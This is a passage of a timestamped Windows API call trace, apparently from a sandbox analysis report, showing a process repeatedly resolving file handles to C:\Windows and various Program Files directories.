dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0063.318] CloseHandle (hObject=0x120) returned 1 [0063.318] GetFileType (hFile=0x128) returned 0x1 [0063.318] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.319] CloseHandle (hObject=0x128) returned 1 [0063.320] GetFileType (hFile=0x120) returned 0x1 [0063.320] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0063.320] CloseHandle (hObject=0x120) returned 1 [0063.321] GetFileType (hFile=0x128) returned 0x1 [0063.321] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.322] CloseHandle (hObject=0x128) returned 1 [0063.322] GetFileType (hFile=0x120) returned 0x1 [0063.322] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\DVD Maker") returned 0x1e [0063.323] CloseHandle (hObject=0x120) returned 1 [0063.323] GetFileType (hFile=0x128) returned 0x1 [0063.323] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.324] CloseHandle (hObject=0x128) returned 1 [0063.325] GetFileType (hFile=0x120) returned 0x1 [0063.325] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0063.326] CloseHandle (hObject=0x120) returned 1 [0063.326] GetFileType (hFile=0x128) returned 0x1 [0063.326] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.327] CloseHandle (hObject=0x128) returned 1 [0063.327] GetFileType (hFile=0x120) returned 0x1 [0063.327] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Journal") returned 0x24 [0063.328] CloseHandle (hObject=0x120) returned 1 [0063.328] GetFileType (hFile=0x128) returned 0x1 [0063.328] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.330] CloseHandle (hObject=0x128) returned 1 [0063.330] GetFileType (hFile=0x120) returned 0x1 [0063.330] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0063.331] CloseHandle (hObject=0x120) returned 1 [0063.331] GetFileType (hFile=0x128) returned 0x1 [0063.331] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.332] CloseHandle (hObject=0x128) returned 1 [0063.333] GetFileType (hFile=0x120) returned 0x1 [0063.333] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0063.333] CloseHandle (hObject=0x120) returned 1 [0063.334] GetFileType (hFile=0x128) returned 0x1 [0063.334] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.337] CloseHandle (hObject=0x128) returned 1 [0063.337] GetFileType (hFile=0x120) returned 0x1 [0063.338] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0063.338] CloseHandle (hObject=0x120) returned 1 [0063.339] GetFileType (hFile=0x128) returned 0x1 [0063.339] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.340] CloseHandle (hObject=0x128) returned 1 [0063.340] GetFileType (hFile=0x120) returned 0x1 [0063.340] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0063.341] CloseHandle (hObject=0x120) returned 1 [0063.341] GetFileType (hFile=0x128) returned 0x1 [0063.341] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.342] CloseHandle (hObject=0x128) returned 1 [0063.342] GetFileType (hFile=0x120) returned 0x1 [0063.342] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned 0x34 [0063.343] CloseHandle (hObject=0x120) returned 1 [0063.343] GetFileType (hFile=0x128) returned 0x1 [0063.343] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.344] CloseHandle (hObject=0x128) returned 1 [0063.345] GetFileType (hFile=0x120) returned 0x1 [0063.345] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0063.345] CloseHandle (hObject=0x120) returned 1 [0063.346] GetFileType (hFile=0x128) returned 0x1 [0063.346] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.347] CloseHandle (hObject=0x128) returned 1 [0063.347] GetFileType (hFile=0x120) returned 0x1 [0063.347] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Common Files") returned 0x27 [0063.348] CloseHandle (hObject=0x120) returned 1 [0063.348] GetFileType (hFile=0x128) returned 0x1 [0063.348] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.355] CloseHandle (hObject=0x128) returned 1 [0063.355] GetFileType (hFile=0x120) returned 0x1 [0063.355] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0063.356] CloseHandle (hObject=0x120) returned 1 [0063.356] GetFileType (hFile=0x128) returned 0x1 [0063.356] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.357] CloseHandle (hObject=0x128) returned 1 [0063.358] GetFileType (hFile=0x120) returned 0x1 [0063.358] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0063.359] CloseHandle (hObject=0x120) returned 1 [0063.359] GetFileType (hFile=0x128) returned 0x1 [0063.359] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.360] CloseHandle (hObject=0x128) returned 1 [0063.360] GetFileType (hFile=0x120) returned 0x1 [0063.360] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0063.361] CloseHandle (hObject=0x120) returned 1 [0063.361] GetFileType (hFile=0x128) returned 0x1 [0063.361] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.362] CloseHandle (hObject=0x128) returned 1 [0063.362] GetFileType (hFile=0x120) returned 0x1 [0063.363] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0063.364] CloseHandle (hObject=0x120) returned 1 [0063.364] GetFileType (hFile=0x128) returned 0x1 [0063.364] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.365] CloseHandle (hObject=0x128) returned 1 [0063.365] GetFileType (hFile=0x120) returned 0x1 [0063.365] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0063.367] CloseHandle (hObject=0x120) returned 1 [0063.367] GetFileType (hFile=0x128) returned 0x1 [0063.367] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.368] CloseHandle (hObject=0x128) returned 1 [0063.368] GetFileType (hFile=0x120) returned 0x1 [0063.368] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0063.369] CloseHandle (hObject=0x120) returned 1 [0063.369] GetFileType (hFile=0x128) returned 0x1 [0063.369] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.370] CloseHandle (hObject=0x128) returned 1 [0063.370] GetFileType (hFile=0x120) returned 0x1 [0063.371] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0063.372] CloseHandle (hObject=0x120) returned 1 [0063.372] GetFileType (hFile=0x128) returned 0x1 [0063.372] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.373] CloseHandle (hObject=0x128) returned 1 [0063.373] GetFileType (hFile=0x120) returned 0x1 [0063.373] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0063.374] CloseHandle (hObject=0x120) returned 1 [0063.375] GetFileType (hFile=0x128) returned 0x1 [0063.375] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.376] CloseHandle (hObject=0x128) returned 1 [0063.376] GetFileType (hFile=0x120) returned 0x1 [0063.376] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Portable Devices") returned 0x2d [0063.377] CloseHandle (hObject=0x120) returned 1 [0063.377] GetFileType (hFile=0x128) returned 0x1 [0063.377] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.378] CloseHandle (hObject=0x128) returned 1 [0063.379] GetFileType (hFile=0x120) returned 0x1 [0063.379] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0063.380] CloseHandle (hObject=0x120) returned 1 [0063.381] GetFileType (hFile=0x128) returned 0x1 [0063.381] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.382] CloseHandle (hObject=0x128) returned 1 [0063.382] GetFileType (hFile=0x120) returned 0x1 [0063.382] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox") returned 0x2a [0063.383] CloseHandle (hObject=0x120) returned 1 [0063.383] GetFileType (hFile=0x128) returned 0x1 [0063.384] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.385] CloseHandle (hObject=0x128) returned 1 [0063.385] GetFileType (hFile=0x120) returned 0x1 [0063.385] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0063.386] CloseHandle (hObject=0x120) returned 1 [0063.386] GetFileType (hFile=0x128) returned 0x1 [0063.386] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.388] CloseHandle (hObject=0x128) returned 1 [0063.388] GetFileType (hFile=0x120) returned 0x1 [0063.388] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0063.389] CloseHandle (hObject=0x120) returned 1 [0063.389] GetFileType (hFile=0x128) returned 0x1 [0063.389] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.390] CloseHandle (hObject=0x128) returned 1 [0063.391] GetFileType (hFile=0x120) returned 0x1 [0063.391] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0063.392] CloseHandle (hObject=0x120) returned 1 [0063.392] GetFileType (hFile=0x128) returned 0x1 [0063.392] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.393] CloseHandle (hObject=0x128) returned 1 [0063.393] GetFileType (hFile=0x120) returned 0x1 [0063.393] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0063.394] CloseHandle (hObject=0x120) returned 1 [0063.394] GetFileType (hFile=0x128) returned 0x1 [0063.395] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.423] CloseHandle (hObject=0x128) returned 1 [0063.423] GetFileType (hFile=0x120) returned 0x1 [0063.423] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Defender") returned 0x2b [0063.424] CloseHandle (hObject=0x120) returned 1 [0063.424] GetFileType (hFile=0x128) returned 0x1 [0063.424] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.426] CloseHandle (hObject=0x128) returned 1 [0063.426] GetFileType (hFile=0x120) returned 0x1 [0063.426] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0063.427] CloseHandle (hObject=0x120) returned 1 [0063.428] GetFileType (hFile=0x128) returned 0x1 [0063.428] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.429] CloseHandle (hObject=0x128) returned 1 [0063.429] GetFileType (hFile=0x120) returned 0x1 [0063.429] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0063.430] CloseHandle (hObject=0x120) returned 1 [0063.430] GetFileType (hFile=0x128) returned 0x1 [0063.430] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.432] CloseHandle (hObject=0x128) returned 1 [0063.432] GetFileType (hFile=0x120) returned 0x1 [0063.432] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Media Player") returned 0x29 [0063.433] CloseHandle (hObject=0x120) returned 1 [0063.433] GetFileType (hFile=0x128) returned 0x1 [0063.433] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.434] CloseHandle (hObject=0x128) returned 1 [0063.434] GetFileType (hFile=0x120) returned 0x1 [0063.434] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0063.435] CloseHandle (hObject=0x120) returned 1 [0063.436] GetFileType (hFile=0x128) returned 0x1 [0063.436] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.437] CloseHandle (hObject=0x128) returned 1 [0063.437] GetFileType (hFile=0x120) returned 0x1 [0063.437] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0063.438] CloseHandle (hObject=0x120) returned 1 [0063.438] GetFileType (hFile=0x128) returned 0x1 [0063.438] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.439] CloseHandle (hObject=0x128) returned 1 [0063.440] GetFileType (hFile=0x120) returned 0x1 [0063.440] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0063.441] CloseHandle (hObject=0x120) returned 1 [0063.441] GetFileType (hFile=0x128) returned 0x1 [0063.441] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.506] CloseHandle (hObject=0x128) returned 1 [0063.506] GetFileType (hFile=0x120) returned 0x1 [0063.506] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0063.507] CloseHandle (hObject=0x120) returned 1 [0063.508] GetFileType (hFile=0x128) returned 0x1 [0063.508] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.509] CloseHandle (hObject=0x128) returned 1 [0063.509] GetFileType (hFile=0x120) returned 0x1 [0063.509] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0063.510] CloseHandle (hObject=0x120) returned 1 [0063.510] GetFileType (hFile=0x128) returned 0x1 [0063.510] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.511] CloseHandle (hObject=0x128) returned 1 [0063.511] GetFileType (hFile=0x120) returned 0x1 [0063.511] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\MSBuild") returned 0x22 [0063.513] CloseHandle (hObject=0x120) returned 1 [0063.513] GetFileType (hFile=0x128) returned 0x1 [0063.513] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.514] CloseHandle (hObject=0x128) returned 1 [0063.514] GetFileType (hFile=0x120) returned 0x1 [0063.514] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Synchronization Services") returned 0x37 [0063.515] CloseHandle (hObject=0x120) returned 1 [0063.516] GetFileType (hFile=0x128) returned 0x1 [0063.516] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.517] CloseHandle (hObject=0x128) returned 1 [0063.517] GetFileType (hFile=0x120) returned 0x1 [0063.517] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0063.518] CloseHandle (hObject=0x120) returned 1 [0063.518] GetFileType (hFile=0x128) returned 0x1 [0063.518] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.519] CloseHandle (hObject=0x128) returned 1 [0063.519] GetFileType (hFile=0x120) returned 0x1 [0063.520] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0063.524] CloseHandle (hObject=0x120) returned 1 [0063.525] GetFileType (hFile=0x128) returned 0x1 [0063.525] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.526] CloseHandle (hObject=0x128) returned 1 [0063.526] GetFileType (hFile=0x120) returned 0x1 [0063.526] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0063.527] CloseHandle (hObject=0x120) returned 1 [0063.527] GetFileType (hFile=0x128) returned 0x1 [0063.527] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.532] CloseHandle (hObject=0x128) returned 1 [0063.532] GetFileType (hFile=0x120) returned 0x1 [0063.532] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0063.533] CloseHandle (hObject=0x120) returned 1 [0063.533] GetFileType (hFile=0x128) returned 0x1 [0063.533] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.534] CloseHandle (hObject=0x128) returned 1 [0063.534] GetFileType (hFile=0x120) returned 0x1 [0063.534] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies") returned 0x2f [0063.535] CloseHandle (hObject=0x120) returned 1 [0063.536] GetFileType (hFile=0x128) returned 0x1 [0063.536] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.537] CloseHandle (hObject=0x128) returned 1 [0063.538] GetFileType (hFile=0x120) returned 0x1 [0063.538] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 0x36 [0063.539] CloseHandle (hObject=0x120) returned 1 [0063.539] GetFileType (hFile=0x128) returned 0x1 [0063.539] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.540] CloseHandle (hObject=0x128) returned 1 [0063.540] GetFileType (hFile=0x120) returned 0x1 [0063.540] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0063.542] CloseHandle (hObject=0x120) returned 1 [0063.542] GetFileType (hFile=0x128) returned 0x1 [0063.542] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.543] CloseHandle (hObject=0x128) returned 1 [0063.543] GetFileType (hFile=0x120) returned 0x1 [0063.543] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0063.544] CloseHandle (hObject=0x120) returned 1 [0063.544] GetFileType (hFile=0x128) returned 0x1 [0063.545] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.546] CloseHandle (hObject=0x128) returned 1 [0063.546] GetFileType (hFile=0x120) returned 0x1 [0063.546] GetFinalPathNameByHandleW (in: hFile=0x120, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Common Files") returned 0x21 [0063.547] CloseHandle (hObject=0x120) returned 1 [0063.547] GetFileType (hFile=0x128) returned 0x1 [0063.547] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x657dcf0, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0063.549] CloseHandle (hObject=0x128) returned 1 [0063.549] GetFileType (hFile=0x120) returned 0x1 